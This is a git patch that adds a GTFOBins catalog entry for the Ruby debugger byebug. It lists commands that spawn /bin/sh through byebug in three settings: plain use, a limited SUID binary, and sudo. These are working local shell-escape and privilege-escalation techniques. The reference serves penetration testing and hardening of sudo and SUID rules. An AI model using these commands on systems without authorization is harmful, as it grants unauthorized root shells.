From efb956a7b173c6bd6a3004a630e97d697ee952b3 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 18 Mar 2020 06:12:46 +1100 Subject: [PATCH] Create byebug.md --- _gtfobins/byebug.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/byebug.md diff --git a/_gtfobins/byebug.md b/_gtfobins/byebug.md new file mode 100644 index 0000000..7805500 --- /dev/null +++ b/_gtfobins/byebug.md @@ -0,0 +1,21 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + byebug $TF + continue + limited-suid: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + ./byebug $TF + continue + sudo: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + sudo byebug $TF + continue +---